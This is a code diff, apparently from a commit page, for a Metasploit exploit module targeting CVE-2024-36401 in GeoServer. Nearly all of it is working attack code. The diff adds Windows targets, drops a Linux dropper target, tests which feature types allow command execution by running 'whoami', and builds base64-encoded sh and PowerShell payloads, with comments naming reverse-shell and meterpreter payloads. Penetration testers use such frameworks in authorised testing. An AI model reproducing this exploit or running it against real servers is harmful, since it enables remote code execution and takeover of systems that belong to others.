@@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote
7
7
Rank = ExcellentRanking
8
8
prepend Msf ::Exploit ::Remote ::AutoCheck
9
9
include Msf ::Exploit ::Remote ::HttpClient
10
- include Msf ::Exploit ::CmdStager
11
10
12
11
def initialize ( info = { } )
13
12
super (
@@ -31,17 +30,19 @@ def initialize(info = {})
31
30
'Author' => [
32
31
'h00die-gr3y <h00die.gr3y[at]gmail.com>' , # MSF module contributor
33
32
'jheysel-r7' , # MSF module Windows support
34
- 'Steve Ikeoka' # Discovery
33
+ 'Steve Ikeoka' , # Discovery
34
+ 'Valentin Lobstein a.k.a chocapikk' # Dynamic featuretype code enhancement
35
35
] ,
36
36
'References' => [
37
37
[ 'CVE' , '2024-36401' ] ,
38
38
[ 'URL' , 'https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv' ] ,
39
39
[ 'URL' , 'https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401' ] ,
40
- [ 'URL' , 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401' ]
40
+ [ 'URL' , 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401' ] ,
41
+ [ 'URL' , 'https://github.com/Chocapikk/CVE-2024-36401' ]
41
42
] ,
42
43
'DisclosureDate' => '2024-07-01' ,
43
- 'Platform' => [ 'unix' , 'linux' ] ,
44
- 'Arch' => [ ARCH_CMD , ARCH_X86 , ARCH_X64 , ARCH_AARCH64 , ARCH_ARMLE ] ,
44
+ 'Platform' => [ 'unix' , 'linux' , 'windows' ] ,
45
+ 'Arch' => [ ARCH_CMD ] ,
45
46
'Privileged' => true ,
46
47
'Targets' => [
47
48
[
@@ -51,23 +52,13 @@ def initialize(info = {})
51
52
'Arch' => ARCH_CMD ,
52
53
'Type' => :unix_cmd
53
54
# Tested with cmd/unix/reverse_bash
54
- }
55
- ] ,
56
- [
57
- 'Linux Dropper' ,
58
- {
59
- 'Platform' => [ 'linux' ] ,
60
- 'Arch' => [ ARCH_X86 , ARCH_X64 , ARCH_AARCH64 , ARCH_ARMLE ] ,
61
- 'Type' => :linux_dropper ,
62
- 'Linemax' => 16384 ,
63
- 'CmdStagerFlavor' => [ 'curl' , 'wget' , 'echo' , 'printf' , 'bourne' ]
64
- # Tested with linux/x64/meterpreter_reverse_tcp
55
+ # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
65
56
}
66
57
] ,
67
58
[
68
59
'Windows Command' ,
69
60
{
70
- 'Platform' => [ 'Windows ' ] ,
61
+ 'Platform' => [ 'windows ' ] ,
71
62
'Arch' => ARCH_CMD ,
72
63
'Type' => :win_cmd
73
64
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
@@ -100,7 +91,7 @@ def check_version
100
91
'keep_cookies' => true ,
101
92
'method' => 'GET'
102
93
} )
103
- return nil unless res && res . code == 200 && res . body . include? ( 'GeoServer Version' )
94
+ return nil unless res & .code == 200 && res . body . include? ( 'GeoServer Version' )
104
95
105
96
html = res . get_html_document
106
97
unless html . blank?
@@ -112,7 +103,7 @@ def check_version
112
103
end
113
104
114
105
def get_valid_featuretype
115
- allowed_feature_types = [ 'sf:archsites' , 'sf:bugsites' , 'sf:restricted' , 'sf:roads' , 'sf:streams' , 'ne:boundary_lines' , 'ne:coastlines' , 'ne:countries' , 'ne:disputed_areas' , 'ne:populated_places' ]
106
+ # get a list of available feature types and test if the feature type is supporting the RCE
116
107
res = send_request_cgi! ( {
117
108
'uri' => normalize_uri ( target_uri . path , 'geoserver' , 'wfs' ) ,
118
109
'method' => 'GET' ,
@@ -123,36 +114,32 @@ def get_valid_featuretype
123
114
'service' => 'wfs'
124
115
}
125
116
} )
126
- return nil unless res && res . code == 200 && res . body . include? ( 'ListStoredQueriesResponse' )
117
+ return nil unless res & .code == 200 && res . body . include? ( 'ListStoredQueriesResponse' )
127
118
128
119
xml = res . get_xml_document
129
120
unless xml . blank?
130
121
xml . remove_namespaces!
131
122
# get all the FeatureTypes and store them in an array of strings
132
123
retrieved_feature_types = xml . xpath ( '//ReturnFeatureType' )
133
124
# shuffle the retrieved_feature_types array, and loop through the list of retrieved_feature_types from GeoServer
134
- # return the feature type if a match is found in the allowed_feature_types array
125
+ # test and return the feature type if an RCE is possible
135
126
retrieved_feature_types . to_a . shuffle . each do |feature_type |
136
- return feature_type . text if allowed_feature_types . include? ( feature_type . text )
127
+ return feature_type . text if execute_command ( 'whoami' , feature_type . text )
137
128
end
138
129
end
139
130
nil
140
131
end
141
132
142
- def create_payload ( cmd )
143
- # get a valid feature type and fail back to a default if not successful
144
- feature_type = get_valid_featuretype
145
- feature_type = 'sf:archsites' if feature_type . nil?
146
-
133
+ def create_payload ( cmd , feature_type )
147
134
case target [ 'Type' ]
148
- when :unix_cmd || :linux_dropper
135
+ when :unix_cmd
149
136
# create customised b64 encoded payload
150
137
# 'Encoder' => 'cmd/base64' does not work in this particular use case
151
- cmd_b64 = Base64 . strict_encode64 ( cmd )
152
- cmd = "sh -c echo${IFS}#{ cmd_b64 } |base64${IFS}-d|sh"
138
+ enc_cmd_b64 = Base64 . strict_encode64 ( cmd )
139
+ cmd = "sh -c echo${IFS}#{ enc_cmd_b64 } |base64${IFS}-d|sh"
153
140
when :win_cmd
154
- enc_cmd = Base64 . strict_encode64 ( "cmd /C --% #{ payload . encoded } " . encode ( 'UTF-16LE' ) )
155
- cmd = "powershell.exe -e #{ enc_cmd } "
141
+ enc_cmd_b64 = Base64 . strict_encode64 ( "cmd /C --% #{ cmd } " . encode ( 'UTF-16LE' ) )
142
+ cmd = "powershell.exe -e #{ enc_cmd_b64 } "
156
143
end
157
144
158
145
return <<~EOS
@@ -166,15 +153,17 @@ def create_payload(cmd)
166
153
EOS
167
154
end
168
155
169
- def execute_command ( cmd , _opts = { } )
156
+ def execute_command ( cmd , feature_type , _opts = { } )
170
157
res = send_request_cgi ( {
171
158
'uri' => normalize_uri ( target_uri . path , 'geoserver' , 'wfs' ) ,
172
159
'method' => 'POST' ,
173
160
'ctype' => 'application/xml' ,
174
161
'keep_cookies' => true ,
175
- 'data' => create_payload ( cmd )
162
+ 'data' => create_payload ( cmd , feature_type )
176
163
} )
177
- fail_with ( Failure ::PayloadFailed , 'Payload execution failed.' ) unless res && res . code == 400 && res . body . include? ( 'ClassCastException' )
164
+ return false unless res &.code == 400 && res . body . include? ( 'ClassCastException' )
165
+
166
+ true
178
167
end
179
168
180
169
def check
@@ -190,11 +179,9 @@ def exploit
190
179
191
180
case target [ 'Type' ]
192
181
when :unix_cmd , :win_cmd
193
- execute_command ( payload . encoded )
194
- when :linux_dropper
195
- # don't check the response here since the server won't respond
196
- # if the payload is successfully executed.
197
- execute_cmdstager ( { linemax : target . opts [ 'Linemax' ] } )
182
+ valid_feature_type = get_valid_featuretype
183
+ fail_with ( Failure ::NotFound , 'No valid featuretype found to estabish the RCE.' ) if valid_feature_type . nil?
184
+ fail_with ( Failure ::PayloadFailed , 'Payload execution failed.' ) unless execute_command ( payload . encoded , valid_feature_type )
198
185
end
199
186
end
200
187
end
0 commit comments